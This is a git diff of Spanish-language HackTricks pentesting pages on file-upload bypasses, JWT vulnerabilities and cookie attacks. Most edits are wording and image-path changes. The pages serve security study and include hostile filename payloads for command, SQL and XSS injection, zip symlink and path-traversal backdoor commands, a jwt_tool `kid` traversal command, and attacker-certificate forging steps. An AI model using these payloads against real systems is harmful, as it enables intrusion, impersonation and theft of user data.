+Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -34,7 +34,7 @@ Otras extensiones útiles:
 * **Perl**: _.pl, .cgi_
 * **Erlang Yaws Web Server**: _.yaws_
 
-### Bypass de comprobaciones de extensiones de archivos
+### Bypass de comprobaciones de extensiones de archivo
 
 1. Si aplican, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
 2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
@@ -113,11 +113,11 @@ Si estás intentando subir archivos a un **servidor ASP**, [echa un vistazo al t
 
 Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...)
 
-La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido que **esta extensión se ejecute**.
+La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecute**.
 
 ## **Jetty RCE**
 
-Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
+Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la imagen siguiente, ¡sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
 
@@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Nota que **otra opción** que podrías estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
+Note que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eludirá la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
 
 ## Herramientas
 
@@ -183,23 +183,23 @@ Nota que **otra opción** que podrías estar pensando para eludir esta verificac
 
 ## De la carga de archivos a otras vulnerabilidades
 
-* Establece **filename** a `../../../tmp/lol.png` y trata de lograr un **traversal de ruta**
-* Establece **filename** a `sleep(10)-- -.jpg` y podrías ser capaz de lograr una **inyección SQL**
-* Establece **filename** a `<svg onload=alert(document.domain)>` para lograr un XSS
-* Establece **filename** a `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
+* Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal**
+* Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **SQL injection**
+* Establezca **filename** en `<svg onload=alert(document.domain)>` para lograr un XSS
+* Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
 * [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
-* **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
+* **Carga** de archivo **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
 * [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
-* [**Redirección Abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
-* Prueba **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
+* [**Open Redirect** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
+* Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 * [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-* Si puedes **indicar al servidor web que capture una imagen de una URL**, podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
+* Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
 * [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes cargar PDFs, podrías preparar algunos PDF que ejecuten JS arbitrario siguiendo las indicaciones dadas.
-* Carga el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
-* Verifica si hay algún **límite de tamaño** al cargar archivos
+* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
+* Cargue el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
+* Verifique si hay algún **límite de tamaño** al cargar archivos
 
-Aquí hay una lista de las 10 principales cosas que puedes lograr al cargar (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: XSS almacenado / SSRF / XXE
@@ -216,20 +216,20 @@ Aquí hay una lista de las 10 principales cosas que puedes lograr al cargar (de
 
 {% embed url="https://github.com/portswigger/upload-scanner" %}
 
-## Bytes de Encabezado Mágico
+## Bytes de encabezado mágico
 
 * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 * **JPG**: `"\xff\xd8\xff"`
 
-Consulta [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para otros tipos de archivos.
+Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para otros tipos de archivos.
 
 ### Carga de archivo Zip/Tar descomprimido automáticamente
 
-Si puedes cargar un ZIP que se va a descomprimir dentro del servidor, puedes hacer 2 cosas:
+Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas:
 
 #### Symlink
 
-Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederás a los archivos vinculados:
+Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
@@ -285,7 +285,7 @@ system($cmd);
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
-3.  **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para recorrer directorios.
+3.  **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios.
 
 ```bash
 :set modifiable
@@ -304,7 +304,7 @@ pop graphic-context
 ```
 ## Incrustar Shell PHP en PNG
 
-Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
+Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
 
 Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
 
@@ -314,7 +314,7 @@ Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
 
 Los archivos políglota sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como un GIF como un archivo RAR. Tales archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles.
 
-La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, JS, PHP o archivos Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones.
+La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones.
 
 A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga.
 
@@ -329,15 +329,15 @@ Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/hacking-jwt-json-web-tokens.md

@@ -1,8 +1,8 @@
 # Vulnerabilidades de JWT (Json Web Tokens)
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -10,12 +10,12 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -44,7 +44,7 @@ Puedes usar la [**Extensión de Burp SignSaboteur**](https://github.com/d0ge/sig
 
 ### Manipular datos sin modificar nada
 
-Puedes simplemente manipular los datos dejando la firma tal como está y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo.
+Puedes simplemente manipular los datos dejando la firma como está y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo.
 
 #### **¿Se verifica el token?**
 
@@ -121,7 +121,7 @@ Cuando el reclamo `kid` está presente en el encabezado, se recomienda buscar en
 
 #### Traversal de Ruta con "kid"
 
-El reclamo `kid` también podría ser explotado para navegar a través del sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) al alterar el valor de `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor de `kid` mientras se mantiene la firma original se puede lograr utilizando la bandera `-T` en jwt\_tool, como se demuestra a continuación:
+El reclamo `kid` también podría ser explotado para navegar a través del sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) al alterar el valor `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor `kid` mientras se mantiene la firma original se puede lograr utilizando la bandera `-T` en jwt\_tool, como se demuestra a continuación:
 ```bash
 python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
 ```
@@ -135,7 +135,7 @@ Si el contenido de la declaración `kid` se utiliza para obtener una contraseña
 
 Esta alteración obliga al uso de una clave secreta conocida, `ATTACKER`, para la firma de JWT.
 
-#### Inyección de OS a través de "kid"
+#### Inyección OS a través de "kid"
 
 Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución Remota de Código (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es:
 
@@ -176,7 +176,7 @@ Para forjar un nuevo token utilizando un certificado controlado por ti, necesita
 openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
 openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
 ```
-Luego puedes usar por ejemplo [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado.**
+Entonces puedes usar por ejemplo [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado.**
 
 ![](<../.gitbook/assets/image (956).png>)
 
@@ -238,7 +238,7 @@ Aquí hay un ejemplo: [ECDSA: Revelando la clave privada, si se usa el mismo non
 El reclamo JTI (JWT ID) proporciona un identificador único para un token JWT. Se puede utilizar para evitar que el token sea reproducido.\
 Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). Las solicitudes 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa).
 
-### JWT Registered claims
+### Reclamos registrados de JWT
 
 {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
 
@@ -250,7 +250,7 @@ Se ha observado que algunas aplicaciones web dependen de un servicio JWT de conf
 
 * Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área gris legal.
 
-**Verificación de Expiración de Tokens**
+**Verificación de expiración de tokens**
 
 La expiración del token se verifica utilizando el reclamo "exp" del Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool.
 
@@ -260,15 +260,15 @@ La expiración del token se verifica utilizando el reclamo "exp" del Payload. Da
 
 {% embed url="https://github.com/ticarpi/jwt_tool" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/hacking-with-cookies/README.md

@@ -1,8 +1,8 @@
 # Cookies Hacking
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,14 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-
-## Atributos de Cookies
+## Atributos de las Cookies
 
 Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí hay un resumen de estos atributos en una voz más pasiva:
 
 ### Expires y Max-Age
 
-La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que se elimina una cookie. **Opta por `Max-age` ya que refleja prácticas más modernas.**
+La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie se elimina. **Opta por `Max-age` ya que refleja prácticas más modernas.**
 
 ### Dominio
 
@@ -74,7 +73,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
 
 * Si la página está **enviando las cookies como respuesta** a una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
 * Esto podría ser evadido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
-* Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
+* Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
 * Otra forma es la explotación de vulnerabilidades de día cero en los navegadores.
 * Es posible **sobrescribir cookies HttpOnly** realizando un ataque de desbordamiento de Cookie Jar:
 
@@ -82,7 +81,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
 [cookie-jar-overflow.md](cookie-jar-overflow.md)
 {% endcontent-ref %}
 
-* Es posible usar un ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar estas cookies
+* Es posible usar un ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar estas cookies.
 
 ### Seguro
 
@@ -105,11 +104,11 @@ Es importante tener en cuenta que las cookies con el prefijo `__Host-` no pueden
 
 Así, una de las protecciones de las cookies con prefijo `__Host-` es evitar que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
 
-<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 O en PHP era posible añadir **otros caracteres al principio** del nombre de la cookie que iban a ser **reemplazados por caracteres de subrayado**, permitiendo sobrescribir cookies `__HOST-`:
 
-<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
 
 ## Ataques de Cookies
 
@@ -119,11 +118,11 @@ Si una cookie personalizada contiene datos sensibles, revísala (especialmente s
 
 Los datos sensibles incrustados en las cookies siempre deben ser examinados. Las cookies codificadas en Base64 o formatos similares a menudo pueden ser decodificadas. Esta vulnerabilidad permite a los atacantes alterar el contenido de la cookie e impersonar a otros usuarios codificando sus datos modificados de nuevo en la cookie.
 
-### Secuestro de Sesión
+### Secuestro de Sesiones
 
 Este ataque implica robar la cookie de un usuario para obtener acceso no autorizado a su cuenta dentro de una aplicación. Al usar la cookie robada, un atacante puede hacerse pasar por el usuario legítimo.
 
-### Fijación de Sesión
+### Fijación de Sesiones
 
 En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
 
@@ -133,7 +132,7 @@ Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
 [cookie-tossing.md](cookie-tossing.md)
 {% endcontent-ref %}
 
-### Donación de Sesión
+### Donación de Sesiones
 
 Aquí, el atacante convence a la víctima para que use la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
 
@@ -151,7 +150,7 @@ Los JSON Web Tokens (JWT) utilizados en cookies también pueden presentar vulner
 
 ### Cross-Site Request Forgery (CSRF)
 
-Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que actualmente está autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable.
+Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que está actualmente autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable.
 
 ### Cookies Vacías
 
@@ -187,7 +186,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 ```
 #### Vulnerabilidades de Inyección de Cookies
 
